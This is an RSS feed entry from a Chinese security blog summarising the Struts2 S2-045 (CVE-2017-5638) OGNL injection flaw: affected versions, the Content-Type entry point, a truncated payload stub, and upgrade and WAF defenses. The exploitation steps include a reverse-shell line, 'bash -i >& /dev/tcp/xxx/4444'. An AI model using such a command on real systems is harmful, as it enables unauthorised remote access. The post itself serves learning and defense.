https://souljian.cn/tags/cve-2017-5638/Recent content in CVE-2017-5638 on SoulJian小站Hugo -- gohugo.ioen-usSun, 30 Aug 2026 10:00:00 +0800https://souljian.cn/p/751088140/Sat, 29 Aug 2026 14:00:00 +0800https://souljian.cn/p/751088140/<h2 id="写在前面合法学习边界">写在前面：合法学习边界 </h2><p>Struts2 攻击只在授权测试环境进行。对非授权目标进行攻击可能触犯法律。</p> <h2 id="一s2-045-利用链">一、S2-045 利用链 </h2><img src="https://souljian.cn/img/struts2-s2045-chain.svg" alt="Struts2 S2-045 利用链" /> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">① 发现 Struts2 → ② 确认版本 → ③ Content-Type → ④ OGNL 执行 → ⑤ 反弹 Shell </span></span></code></pre></td></tr></table> </div> </div><h2 id="二漏洞信息">二、漏洞信息 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">CVE-2017-5638 </span></span><span class="line"><span class="cl">影响：Struts 2.3.x / 2.5.0~2.5.10 </span></span><span class="line"><span class="cl">入口：Content-Type header </span></span><span class="line"><span class="cl">类型：OGNL 表达式注入 </span></span></code></pre></td></tr></table> </div> </div><h2 id="三利用步骤">三、利用步骤 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">Content-Type: %{#a=(new java.lang.String(&#39;...&#39;))} </span></span><span class="line"><span class="cl">→ 触发 OGNL 表达式执行 </span></span><span class="line"><span class="cl">→ 反弹 Shell：bash -i &gt;&amp; /dev/tcp/xxx/4444 </span></span></code></pre></td></tr></table> </div> </div><h2 id="四防御加固">四、防御加固 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">升级到 Struts 2.5.11+ 或 2.3.32+ </span></span><span class="line"><span class="cl">WAF 拦截 Content-Type 异常值 </span></span><span class="line"><span class="cl">网络隔离：不暴露公网 </span></span></code></pre></td></tr></table> </div> </div><h2 id="五小结">五、小结 </h2><p>S2-045 是 Struts2 最经典的远程代码执行漏洞之一。防御核心是<strong>升级框架版本 + WAF 防护</strong>。</p>